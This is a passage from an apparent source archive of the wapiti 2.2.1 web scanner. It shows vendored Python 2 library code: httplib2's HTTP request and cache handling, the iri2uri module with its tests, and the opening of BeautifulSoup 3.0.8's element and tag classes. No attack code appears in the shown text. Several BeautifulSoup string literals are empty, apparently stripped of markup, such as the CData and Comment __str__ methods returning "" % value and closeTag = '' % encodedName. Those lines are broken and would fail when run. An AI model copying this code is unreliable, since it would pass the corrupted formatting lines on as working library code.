["GET", "HEAD"]: response['-x-permanent-redirect-url'] = response['location'] if not response.has_key('content-location'): response['content-location'] = absolute_uri _updateCache(headers, response, content, self.cache, cachekey) if headers.has_key('if-none-match'): del headers['if-none-match'] if headers.has_key('if-modified-since'): del headers['if-modified-since'] if response.has_key('location'): location = response['location'] old_response = copy.deepcopy(response) if not old_response.has_key('content-location'): old_response['content-location'] = absolute_uri redirect_method = ((response.status == 303) and (method not in ["GET", "HEAD"])) and "GET" or method (response, content) = self.request(location, redirect_method, body=body, headers = headers, redirections = redirections - 1) response.previous = old_response else: raise RedirectLimit( _("Redirected more times than rediection_limit allows."), response, content) elif response.status in [200, 203] and method == "GET": # Don't cache 206's since we aren't going to handle byte range requests if not response.has_key('content-location'): response['content-location'] = absolute_uri _updateCache(headers, response, content, self.cache, cachekey) return (response, content) # Need to catch and rebrand some exceptions # Then need to optionally turn all exceptions into status codes # including all socket.* and httplib.* exceptions. def request(self, uri, method="GET", body=None, headers=None, redirections=DEFAULT_MAX_REDIRECTS, connection_type=None): """ Performs a single HTTP request. The 'uri' is the URI of the HTTP resource and can begin with either 'http' or 'https'. The value of 'uri' must be an absolute URI. The 'method' is the HTTP method to perform, such as GET, POST, DELETE, etc. There is no restriction on the methods allowed. The 'body' is the entity body to be sent with the request. It is a string object. Any extra headers that are to be sent with the request should be provided in the 'headers' dictionary. The maximum number of redirect to follow before raising an exception is 'redirections. The default is 5. The return value is a tuple of (response, content), the first being and instance of the 'Response' class, the second being a string that contains the response entity body. """ try: if headers is None: headers = {} else: headers = _normalize_headers(headers) if not headers.has_key('User-Agent'): headers['User-Agent'] = "Python-httplib2/%s" % __version__ uri = iri2uri(uri) (scheme, authority, request_uri, defrag_uri) = urlnorm(uri) conn_key = scheme+":"+authority if conn_key in self.connections: conn = self.connections[conn_key] else: if not connection_type: connection_type = (scheme == 'https') and HTTPSConnectionWithTimeout or HTTPConnectionWithTimeout certs = list(self.certificates.iter(authority)) if scheme == 'https' and certs: conn = self.connections[conn_key] = connection_type(authority, key_file=certs[0][0], cert_file=certs[0][1], timeout=self.timeout, proxy_info=self.proxy_info) else: conn = self.connections[conn_key] = connection_type(authority, timeout=self.timeout, proxy_info=self.proxy_info) conn.set_debuglevel(debuglevel) if method in ["GET", "HEAD"] and 'range' not in headers: headers['Accept-Encoding'] = 'compress, gzip' info = email.Message.Message() cached_value = None if self.cache: cachekey = defrag_uri cached_value = self.cache.get(cachekey) if cached_value: info = email.message_from_string(cached_value) try: content = cached_value.split('\r\n\r\n', 1)[1] except IndexError: self.cache.delete(cachekey) cachekey = None cached_value = None else: cachekey = None if method in ["PUT"] and self.cache and info.has_key('etag') and not self.ignore_etag and 'if-match' not in headers: # http://www.w3.org/1999/04/Editing/ headers['if-match'] = info['etag'] if method not in ["GET", "HEAD"] and self.cache and cachekey: # RFC 2616 Section 13.10 self.cache.delete(cachekey) if cached_value and method in ["GET", "HEAD"] and self.cache and 'range' not in headers: if info.has_key('-x-permanent-redirect-url'): # Should cached permanent redirects be counted in our redirection count? For now, yes. (response, new_content) = self.request(info['-x-permanent-redirect-url'], "GET", headers = headers, redirections = redirections - 1) response.previous = Response(info) response.previous.fromcache = True else: # Determine our course of action: # Is the cached entry fresh or stale? # Has the client requested a non-cached response? # # There seems to be three possible answers: # 1. [FRESH] Return the cache entry w/o doing a GET # 2. [STALE] Do the GET (but add in cache validators if available) # 3. [TRANSPARENT] Do a GET w/o any cache validators (Cache-Control: no-cache) on the request entry_disposition = _entry_disposition(info, headers) if entry_disposition == "FRESH": if not cached_value: info['status'] = '504' content = "" response = Response(info) if cached_value: response.fromcache = True return (response, content) if entry_disposition == "STALE": if info.has_key('etag') and not self.ignore_etag and not 'if-none-match' in headers: headers['if-none-match'] = info['etag'] if info.has_key('last-modified') and not 'last-modified' in headers: headers['if-modified-since'] = info['last-modified'] elif entry_disposition == "TRANSPARENT": pass (response, new_content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey) if response.status == 304 and method == "GET": # Rewrite the cache entry with the new end-to-end headers # Take all headers that are in response # and overwrite their values in info. # unless they are hop-by-hop, or are listed in the connection header. for key in _get_end2end_headers(response): info[key] = response[key] merged_response = Response(info) if hasattr(response, "_stale_digest"): merged_response._stale_digest = response._stale_digest _updateCache(headers, merged_response, content, self.cache, cachekey) response = merged_response response.status = 200 response.fromcache = True elif response.status == 200: content = new_content else: self.cache.delete(cachekey) content = new_content else: (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey) except Exception, e: if self.force_exception_to_status_code: if isinstance(e, HttpLib2ErrorWithResponse): response = e.response content = e.content response.status = 500 response.reason = str(e) elif isinstance(e, socket.timeout): content = "Request Timeout" response = Response( { "content-type": "text/plain", "status": "408", "content-length": len(content) }) response.reason = "Request Timeout" else: content = str(e) response = Response( { "content-type": "text/plain", "status": "400", "content-length": len(content) }) response.reason = "Bad Request" else: raise return (response, content) class Response(dict): """An object more like email.Message than httplib.HTTPResponse.""" """Is this response from our local cache""" fromcache = False """HTTP protocol version used by server. 10 for HTTP/1.0, 11 for HTTP/1.1. """ version = 11 "Status code returned by server. " status = 200 """Reason phrase returned by server.""" reason = "Ok" previous = None def __init__(self, info): # info is either an email.Message or # an httplib.HTTPResponse object. if isinstance(info, httplib.HTTPResponse): for key, value in info.getheaders(): self[key] = value self.status = info.status self['status'] = str(self.status) self.reason = info.reason self.version = info.version elif isinstance(info, email.Message.Message): for key, value in info.items(): self[key] = value self.status = int(self['status']) else: for key, value in info.iteritems(): self[key] = value self.status = int(self.get('status', self.status)) def __getattr__(self, name): if name == 'dict': return self else: raise AttributeError, name wapiti-2.2.1/src/net/httplib2/iri2uri.py0000644000000000000000000000741211316442105016554 0ustar rootroot""" iri2uri Converts an IRI to a URI. """ __author__ = "Joe Gregorio (joe@bitworking.org)" __copyright__ = "Copyright 2006, Joe Gregorio" __contributors__ = [] __version__ = "1.0.0" __license__ = "MIT" __history__ = """ """ import urlparse # Convert an IRI to a URI following the rules in RFC 3987 # # The characters we need to enocde and escape are defined in the spec: # # iprivate = %xE000-F8FF / %xF0000-FFFFD / %x100000-10FFFD # ucschar = %xA0-D7FF / %xF900-FDCF / %xFDF0-FFEF # / %x10000-1FFFD / %x20000-2FFFD / %x30000-3FFFD # / %x40000-4FFFD / %x50000-5FFFD / %x60000-6FFFD # / %x70000-7FFFD / %x80000-8FFFD / %x90000-9FFFD # / %xA0000-AFFFD / %xB0000-BFFFD / %xC0000-CFFFD # / %xD0000-DFFFD / %xE1000-EFFFD escape_range = [ (0xA0, 0xD7FF ), (0xE000, 0xF8FF ), (0xF900, 0xFDCF ), (0xFDF0, 0xFFEF), (0x10000, 0x1FFFD ), (0x20000, 0x2FFFD ), (0x30000, 0x3FFFD), (0x40000, 0x4FFFD ), (0x50000, 0x5FFFD ), (0x60000, 0x6FFFD), (0x70000, 0x7FFFD ), (0x80000, 0x8FFFD ), (0x90000, 0x9FFFD), (0xA0000, 0xAFFFD ), (0xB0000, 0xBFFFD ), (0xC0000, 0xCFFFD), (0xD0000, 0xDFFFD ), (0xE1000, 0xEFFFD), (0xF0000, 0xFFFFD ), (0x100000, 0x10FFFD) ] def encode(c): retval = c i = ord(c) for low, high in escape_range: if i < low: break if i >= low and i <= high: retval = "".join(["%%%2X" % ord(o) for o in c.encode('utf-8')]) break return retval def iri2uri(uri): """Convert an IRI to a URI. Note that IRIs must be passed in a unicode strings. That is, do not utf-8 encode the IRI before passing it into the function.""" if isinstance(uri ,unicode): (scheme, authority, path, query, fragment) = urlparse.urlsplit(uri) authority = authority.encode('idna') # For each character in 'ucschar' or 'iprivate' # 1. encode as utf-8 # 2. then %-encode each octet of that utf-8 uri = urlparse.urlunsplit((scheme, authority, path, query, fragment)) uri = "".join([encode(c) for c in uri]) return uri if __name__ == "__main__": import unittest class Test(unittest.TestCase): def test_uris(self): """Test that URIs are invariant under the transformation.""" invariant = [ u"ftp://ftp.is.co.za/rfc/rfc1808.txt", u"http://www.ietf.org/rfc/rfc2396.txt", u"ldap://[2001:db8::7]/c=GB?objectClass?one", u"mailto:John.Doe@example.com", u"news:comp.infosystems.www.servers.unix", u"tel:+1-816-555-1212", u"telnet://192.0.2.16:80/", u"urn:oasis:names:specification:docbook:dtd:xml:4.1.2" ] for uri in invariant: self.assertEqual(uri, iri2uri(uri)) def test_iri(self): """ Test that the right type of escaping is done for each part of the URI.""" self.assertEqual("http://xn--o3h.com/%E2%98%84", iri2uri(u"http://\N{COMET}.com/\N{COMET}")) self.assertEqual("http://bitworking.org/?fred=%E2%98%84", iri2uri(u"http://bitworking.org/?fred=\N{COMET}")) self.assertEqual("http://bitworking.org/#%E2%98%84", iri2uri(u"http://bitworking.org/#\N{COMET}")) self.assertEqual("#%E2%98%84", iri2uri(u"#\N{COMET}")) self.assertEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}")) self.assertEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}"))) self.assertNotEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}".encode('utf-8'))) unittest.main() wapiti-2.2.1/src/net/BeautifulSoup.py0000644000000000000000000023262611316442105016235 0ustar rootroot"""Beautiful Soup Elixir and Tonic "The Screen-Scraper's Friend" http://www.crummy.com/software/BeautifulSoup/ Beautiful Soup parses a (possibly invalid) XML or HTML document into a tree representation. It provides methods and Pythonic idioms that make it easy to navigate, search, and modify the tree. A well-formed XML/HTML document yields a well-formed data structure. An ill-formed XML/HTML document yields a correspondingly ill-formed data structure. If your document is only locally well-formed, you can use this library to find and process the well-formed part of it. Beautiful Soup works with Python 2.2 and up. It has no external dependencies, but you'll have more success at converting data to UTF-8 if you also install these three packages: * chardet, for auto-detecting character encodings http://chardet.feedparser.org/ * cjkcodecs and iconv_codec, which add more encodings to the ones supported by stock Python. http://cjkpython.i18n.org/ Beautiful Soup defines classes for two main parsing strategies: * BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific language that kind of looks like XML. * BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid or invalid. This class has web browser-like heuristics for obtaining a sensible parse tree in the face of common HTML errors. Beautiful Soup also defines a class (UnicodeDammit) for autodetecting the encoding of an HTML or XML document, and converting it to Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser. For more than you ever wanted to know about Beautiful Soup, see the documentation: http://www.crummy.com/software/BeautifulSoup/documentation.html Here, have some legalese: Copyright (c) 2004-2009, Leonard Richardson All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. """ from __future__ import generators __author__ = "Leonard Richardson (leonardr@segfault.org)" __version__ = "3.0.8" __copyright__ = "Copyright (c) 2004-2009 Leonard Richardson" __license__ = "New-style BSD" from sgmllib import SGMLParser, SGMLParseError import codecs import markupbase import types import re import sgmllib try: from htmlentitydefs import name2codepoint except ImportError: name2codepoint = {} try: set except NameError: from sets import Set as set #These hacks make Beautiful Soup able to parse XML with namespaces sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*') markupbase._declname_match = re.compile(r'[a-zA-Z][-_.:a-zA-Z0-9]*\s*').match DEFAULT_OUTPUT_ENCODING = "utf-8" def _match_css_class(str): """Build a RE to match the given CSS class.""" return re.compile(r"(^|.*\s)%s($|\s)" % str) # First, the classes that represent markup elements. class PageElement(object): """Contains the navigational information for some part of the page (either a tag or a piece of text)""" def setup(self, parent=None, previous=None): """Sets up the initial relations between this element and other elements.""" self.parent = parent self.previous = previous self.next = None self.previousSibling = None self.nextSibling = None if self.parent and self.parent.contents: self.previousSibling = self.parent.contents[-1] self.previousSibling.nextSibling = self def replaceWith(self, replaceWith): oldParent = self.parent myIndex = self.parent.index(self) if hasattr(replaceWith, "parent")\ and replaceWith.parent is self.parent: # We're replacing this element with one of its siblings. index = replaceWith.parent.index(replaceWith) if index and index < myIndex: # Furthermore, it comes before this element. That # means that when we extract it, the index of this # element will change. myIndex = myIndex - 1 self.extract() oldParent.insert(myIndex, replaceWith) def replaceWithChildren(self): myParent = self.parent myIndex = self.parent.index(self) self.extract() reversedChildren = list(self.contents) reversedChildren.reverse() for child in reversedChildren: myParent.insert(myIndex, child) def extract(self): """Destructively rips this element out of the tree.""" if self.parent: try: del self.parent.contents[self.parent.index(self)] except ValueError: pass #Find the two elements that would be next to each other if #this element (and any children) hadn't been parsed. Connect #the two. lastChild = self._lastRecursiveChild() nextElement = lastChild.next if self.previous: self.previous.next = nextElement if nextElement: nextElement.previous = self.previous self.previous = None lastChild.next = None self.parent = None if self.previousSibling: self.previousSibling.nextSibling = self.nextSibling if self.nextSibling: self.nextSibling.previousSibling = self.previousSibling self.previousSibling = self.nextSibling = None return self def _lastRecursiveChild(self): "Finds the last element beneath this object to be parsed." lastChild = self while hasattr(lastChild, 'contents') and lastChild.contents: lastChild = lastChild.contents[-1] return lastChild def insert(self, position, newChild): if isinstance(newChild, basestring) \ and not isinstance(newChild, NavigableString): newChild = NavigableString(newChild) position = min(position, len(self.contents)) if hasattr(newChild, 'parent') and newChild.parent is not None: # We're 'inserting' an element that's already one # of this object's children. if newChild.parent is self: index = self.index(newChild) if index > position: # Furthermore we're moving it further down the # list of this object's children. That means that # when we extract this element, our target index # will jump down one. position = position - 1 newChild.extract() newChild.parent = self previousChild = None if position == 0: newChild.previousSibling = None newChild.previous = self else: previousChild = self.contents[position-1] newChild.previousSibling = previousChild newChild.previousSibling.nextSibling = newChild newChild.previous = previousChild._lastRecursiveChild() if newChild.previous: newChild.previous.next = newChild newChildsLastElement = newChild._lastRecursiveChild() if position >= len(self.contents): newChild.nextSibling = None parent = self parentsNextSibling = None while not parentsNextSibling: parentsNextSibling = parent.nextSibling parent = parent.parent if not parent: # This is the last element in the document. break if parentsNextSibling: newChildsLastElement.next = parentsNextSibling else: newChildsLastElement.next = None else: nextChild = self.contents[position] newChild.nextSibling = nextChild if newChild.nextSibling: newChild.nextSibling.previousSibling = newChild newChildsLastElement.next = nextChild if newChildsLastElement.next: newChildsLastElement.next.previous = newChildsLastElement self.contents.insert(position, newChild) def append(self, tag): """Appends the given tag to the contents of this tag.""" self.insert(len(self.contents), tag) def findNext(self, name=None, attrs={}, text=None, **kwargs): """Returns the first item that matches the given criteria and appears after this Tag in the document.""" return self._findOne(self.findAllNext, name, attrs, text, **kwargs) def findAllNext(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns all items that match the given criteria and appear after this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.nextGenerator, **kwargs) def findNextSibling(self, name=None, attrs={}, text=None, **kwargs): """Returns the closest sibling to this Tag that matches the given criteria and appears after this Tag in the document.""" return self._findOne(self.findNextSiblings, name, attrs, text, **kwargs) def findNextSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns the siblings of this Tag that match the given criteria and appear after this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.nextSiblingGenerator, **kwargs) fetchNextSiblings = findNextSiblings # Compatibility with pre-3.x def findPrevious(self, name=None, attrs={}, text=None, **kwargs): """Returns the first item that matches the given criteria and appears before this Tag in the document.""" return self._findOne(self.findAllPrevious, name, attrs, text, **kwargs) def findAllPrevious(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns all items that match the given criteria and appear before this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.previousGenerator, **kwargs) fetchPrevious = findAllPrevious # Compatibility with pre-3.x def findPreviousSibling(self, name=None, attrs={}, text=None, **kwargs): """Returns the closest sibling to this Tag that matches the given criteria and appears before this Tag in the document.""" return self._findOne(self.findPreviousSiblings, name, attrs, text, **kwargs) def findPreviousSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns the siblings of this Tag that match the given criteria and appear before this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.previousSiblingGenerator, **kwargs) fetchPreviousSiblings = findPreviousSiblings # Compatibility with pre-3.x def findParent(self, name=None, attrs={}, **kwargs): """Returns the closest parent of this Tag that matches the given criteria.""" # NOTE: We can't use _findOne because findParents takes a different # set of arguments. r = None l = self.findParents(name, attrs, 1) if l: r = l[0] return r def findParents(self, name=None, attrs={}, limit=None, **kwargs): """Returns the parents of this Tag that match the given criteria.""" return self._findAll(name, attrs, None, limit, self.parentGenerator, **kwargs) fetchParents = findParents # Compatibility with pre-3.x #These methods do the real heavy lifting. def _findOne(self, method, name, attrs, text, **kwargs): r = None l = method(name, attrs, text, 1, **kwargs) if l: r = l[0] return r def _findAll(self, name, attrs, text, limit, generator, **kwargs): "Iterates over a generator looking for things that match." if isinstance(name, SoupStrainer): strainer = name # Special case some findAll* searches # findAll*(True) elif not limit and name is True and not attrs and not kwargs: return [element for element in generator() if isinstance(element, Tag)] # findAll*('tag-name') elif not limit and isinstance(name, basestring) and not attrs \ and not kwargs: return [element for element in generator() if isinstance(element, Tag) and element.name == name] # Build a SoupStrainer else: strainer = SoupStrainer(name, attrs, text, **kwargs) results = ResultSet(strainer) g = generator() while True: try: i = g.next() except StopIteration: break if i: found = strainer.search(i) if found: results.append(found) if limit and len(results) >= limit: break return results #These Generators can be used to navigate starting from both #NavigableStrings and Tags. def nextGenerator(self): i = self while i is not None: i = i.next yield i def nextSiblingGenerator(self): i = self while i is not None: i = i.nextSibling yield i def previousGenerator(self): i = self while i is not None: i = i.previous yield i def previousSiblingGenerator(self): i = self while i is not None: i = i.previousSibling yield i def parentGenerator(self): i = self while i is not None: i = i.parent yield i # Utility methods def substituteEncoding(self, str, encoding=None): encoding = encoding or "utf-8" return str.replace("%SOUP-ENCODING%", encoding) def toEncoding(self, s, encoding=None): """Encodes an object to a string in some encoding, or to Unicode. .""" if isinstance(s, unicode): if encoding: s = s.encode(encoding) elif isinstance(s, str): if encoding: s = s.encode(encoding) else: s = unicode(s) else: if encoding: s = self.toEncoding(str(s), encoding) else: s = unicode(s) return s class NavigableString(unicode, PageElement): def __new__(cls, value): """Create a new NavigableString. When unpickling a NavigableString, this method is called with the string in DEFAULT_OUTPUT_ENCODING. That encoding needs to be passed in to the superclass's __new__ or the superclass won't know how to handle non-ASCII characters. """ if isinstance(value, unicode): return unicode.__new__(cls, value) return unicode.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) def __getnewargs__(self): return (NavigableString.__str__(self),) def __getattr__(self, attr): """text.string gives you text. This is for backwards compatibility for Navigable*String, but for CData* it lets you get the string without the CData wrapper.""" if attr == 'string': return self else: raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__.__name__, attr) def __unicode__(self): return str(self).decode(DEFAULT_OUTPUT_ENCODING) def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): if encoding: return self.encode(encoding) else: return self class CData(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "" % NavigableString.__str__(self, encoding) class ProcessingInstruction(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): output = self if "%SOUP-ENCODING%" in output: output = self.substituteEncoding(output, encoding) return "" % self.toEncoding(output, encoding) class Comment(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "" % NavigableString.__str__(self, encoding) class Declaration(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "" % NavigableString.__str__(self, encoding) class Tag(PageElement): """Represents a found HTML tag with its attributes and contents.""" def _invert(h): "Cheap function to invert a hash." i = {} for k,v in h.items(): i[v] = k return i XML_ENTITIES_TO_SPECIAL_CHARS = { "apos" : "'", "quot" : '"', "amp" : "&", "lt" : "<", "gt" : ">" } XML_SPECIAL_CHARS_TO_ENTITIES = _invert(XML_ENTITIES_TO_SPECIAL_CHARS) def _convertEntities(self, match): """Used in a call to re.sub to replace HTML, XML, and numeric entities with the appropriate Unicode characters. If HTML entities are being converted, any unrecognized entities are escaped.""" x = match.group(1) if self.convertHTMLEntities and x in name2codepoint: return unichr(name2codepoint[x]) elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS: if self.convertXMLEntities: return self.XML_ENTITIES_TO_SPECIAL_CHARS[x] else: return u'&%s;' % x elif len(x) > 0 and x[0] == '#': # Handle numeric entities if len(x) > 1 and x[1] == 'x': return unichr(int(x[2:], 16)) else: return unichr(int(x[1:])) elif self.escapeUnrecognizedEntities: return u'&%s;' % x else: return u'&%s;' % x def __init__(self, parser, name, attrs=None, parent=None, previous=None): "Basic constructor." # We don't actually store the parser object: that lets extracted # chunks be garbage-collected self.parserClass = parser.__class__ self.isSelfClosing = parser.isSelfClosingTag(name) self.name = name if attrs is None: attrs = [] self.attrs = attrs self.contents = [] self.setup(parent, previous) self.hidden = False self.containsSubstitutions = False self.convertHTMLEntities = parser.convertHTMLEntities self.convertXMLEntities = parser.convertXMLEntities self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. convert = lambda(k, val): (k, re.sub("&(#\d+|#x[0-9a-fA-F]+|\w+);", self._convertEntities, val)) self.attrs = map(convert, self.attrs) def getString(self): if (len(self.contents) == 1 and isinstance(self.contents[0], NavigableString)): return self.contents[0] def setString(self, string): """Replace the contents of the tag with a string""" self.clear() self.append(string) string = property(getString, setString) def getText(self, separator=u""): if not len(self.contents): return u"" stopNode = self._lastRecursiveChild().next strings = [] current = self.contents[0] while current is not stopNode: if isinstance(current, NavigableString): strings.append(current.strip()) current = current.next return separator.join(strings) text = property(getText) def get(self, key, default=None): """Returns the value of the 'key' attribute for the tag, or the value given for 'default' if it doesn't have that attribute.""" return self._getAttrMap().get(key, default) def clear(self): """Extract all children.""" for child in self.contents[:]: child.extract() def index(self, element): for i, child in enumerate(self.contents): if child is element: return i raise ValueError("Tag.index: element not in tag") def has_key(self, key): return self._getAttrMap().has_key(key) def __getitem__(self, key): """tag[key] returns the value of the 'key' attribute for the tag, and throws an exception if it's not there.""" return self._getAttrMap()[key] def __iter__(self): "Iterating over a tag iterates over its contents." return iter(self.contents) def __len__(self): "The length of a tag is the length of its list of contents." return len(self.contents) def __contains__(self, x): return x in self.contents def __nonzero__(self): "A tag is non-None even if it has no contents." return True def __setitem__(self, key, value): """Setting tag[key] sets the value of the 'key' attribute for the tag.""" self._getAttrMap() self.attrMap[key] = value found = False for i in range(0, len(self.attrs)): if self.attrs[i][0] == key: self.attrs[i] = (key, value) found = True if not found: self.attrs.append((key, value)) self._getAttrMap()[key] = value def __delitem__(self, key): "Deleting tag[key] deletes all 'key' attributes for the tag." for item in self.attrs: if item[0] == key: self.attrs.remove(item) #We don't break because bad HTML can define the same #attribute multiple times. self._getAttrMap() if self.attrMap.has_key(key): del self.attrMap[key] def __call__(self, *args, **kwargs): """Calling a tag like a function is the same as calling its findAll() method. Eg. tag('a') returns a list of all the A tags found within this tag.""" return apply(self.findAll, args, kwargs) def __getattr__(self, tag): #print "Getattr %s.%s" % (self.__class__, tag) if len(tag) > 3 and tag.rfind('Tag') == len(tag)-3: return self.find(tag[:-3]) elif tag.find('__') != 0: return self.find(tag) raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__, tag) def __eq__(self, other): """Returns true iff this tag has the same name, the same attributes, and the same contents (recursively) as the given tag. NOTE: right now this will return false if two tags have the same attributes in a different order. Should this be fixed?""" if other is self: return True if not hasattr(other, 'name') or not hasattr(other, 'attrs') or not hasattr(other, 'contents') or self.name != other.name or self.attrs != other.attrs or len(self) != len(other): return False for i in range(0, len(self.contents)): if self.contents[i] != other.contents[i]: return False return True def __ne__(self, other): """Returns true iff this tag is not identical to the other tag, as defined in __eq__.""" return not self == other def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING): """Renders this tag as a string.""" return self.__str__(encoding) def __unicode__(self): return self.__str__(None) BARE_AMPERSAND_OR_BRACKET = re.compile("([<>]|" + "&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;)" + ")") def _sub_entity(self, x): """Used with a regular expression to substitute the appropriate XML entity for an XML special character.""" return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";" def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Returns a string or Unicode representation of this tag and its contents. To get Unicode, pass None for encoding. NOTE: since Python's HTML parser consumes whitespace, this method is not certain to reproduce the whitespace present in the original string.""" encodedName = self.toEncoding(self.name, encoding) attrs = [] if self.attrs: for key, val in self.attrs: fmt = '%s="%s"' if isinstance(val, basestring): if self.containsSubstitutions and '%SOUP-ENCODING%' in val: val = self.substituteEncoding(val, encoding) # The attribute value either: # # * Contains no embedded double quotes or single quotes. # No problem: we enclose it in double quotes. # * Contains embedded single quotes. No problem: # double quotes work here too. # * Contains embedded double quotes. No problem: # we enclose it in single quotes. # * Embeds both single _and_ double quotes. This # can't happen naturally, but it can happen if # you modify an attribute value after parsing # the document. Now we have a bit of a # problem. We solve it by enclosing the # attribute in single quotes, and escaping any # embedded single quotes to XML entities. if '"' in val: fmt = "%s='%s'" if "'" in val: # TODO: replace with apos when # appropriate. val = val.replace("'", "&squot;") # Now we're okay w/r/t quotes. But the attribute # value might also contain angle brackets, or # ampersands that aren't part of entities. We need # to escape those to XML entities too. val = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, val) attrs.append(fmt % (self.toEncoding(key, encoding), self.toEncoding(val, encoding))) close = '' closeTag = '' if self.isSelfClosing: close = ' /' else: closeTag = '' % encodedName indentTag, indentContents = 0, 0 if prettyPrint: indentTag = indentLevel space = (' ' * (indentTag-1)) indentContents = indentTag + 1 contents = self.renderContents(encoding, prettyPrint, indentContents) if self.hidden: s = contents else: s = [] attributeString = '' if attrs: attributeString = ' ' + ' '.join(attrs) if prettyPrint: s.append(space) s.append('<%s%s%s>' % (encodedName, attributeString, close)) if prettyPrint: s.append("\n") s.append(contents) if prettyPrint and contents and contents[-1] != "\n": s.append("\n") if prettyPrint and closeTag: s.append(space) s.append(closeTag) if prettyPrint and closeTag and self.nextSibling: s.append("\n") s = ''.join(s) return s def decompose(self): """Recursively destroys the contents of this tree.""" self.extract() if len(self.contents) == 0: return current = self.contents[0] while current is not None: next = current.next if isinstance(current, Tag): del current.contents[:] current.parent = None current.previous = None current.previousSibling = None current.next = None current.nextSibling = None current = next def prettify(self, encoding=DEFAULT_OUTPUT_ENCODING): return self.__str__(encoding, True) def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Renders the contents of this tag as a string in the given encoding. If encoding is None, returns a Unicode string..""" s=[] for c in self: text = None if isinstance(c, NavigableString): text = c.__str__(encoding) elif isinstance(c, Tag): s.append(c.__str__(encoding, prettyPrint, indentLevel)) if text and prettyPrint: text = text.strip() if text: if prettyPrint: s.append(" " * (indentLevel-1)) s.append(text) if prettyPrint: s.append("\n") return ''.join(s) #Soup methods def find(self, name=None, attrs={}, recursive=True, text=None, **kwargs): """Return only the first child of this Tag matching the given criteria.""" r = None l = self.findAll(name, attrs, recursive, text, 1, **kwargs) if l: r = l[0] return r findChild = find def findAll(self, name=None, attrs={}, recursive=True, text=None, limit=None, **kwargs): """Extracts a list of Tag objects that match the given criteria. You can specify the name of the Tag and any attributes you want the Tag to have. The value of a key-value pair in the 'attrs' map can be a string, a list of strings, a regular expression object, or a callable that takes a string and returns whether or not the string matches for some custom definition of 'matches'. The same is true of the tag name.""" generator = self.recursiveChildGenerator if not recursive: generator = self.childGenerator return self._findAll(name, attrs, text, limit, generator, **kwargs) findChildren = findAll # Pre-3.x compatibility methods first = find fetch = findAll def fetchText(self, text=None, recursive=True, limit=None): return self.findAll(text=text, recursive=recursive, limit=limit) def firstText(self, text=None, recursive=True): return self.find(text=text, recursive=recursive) #Private methods def _getAttrMap(self): """Initializes a map representation of this tag's attributes, if not already initialized.""" if not getattr(self, 'attrMap'): self.attrMap = {} for (key, value) in self.attrs: self.attrMap[key] = value return self.attrMap #Generator methods def childGenerator(self): # Just use the iterator from the contents return iter(self.contents) def recursiveChildGenerator(self): if not len(self.contents): raise StopIteration stopNode = self._lastRecursiveChild().next current = self.contents[0] while current is not stopNode: yield current current = current.next # Next, a couple classes to represent queries and their results. class SoupStrainer: """Encapsulates a number of ways of matching a markup element (tag or text).""" def __init__(self, name=None, attrs={}, text=None, 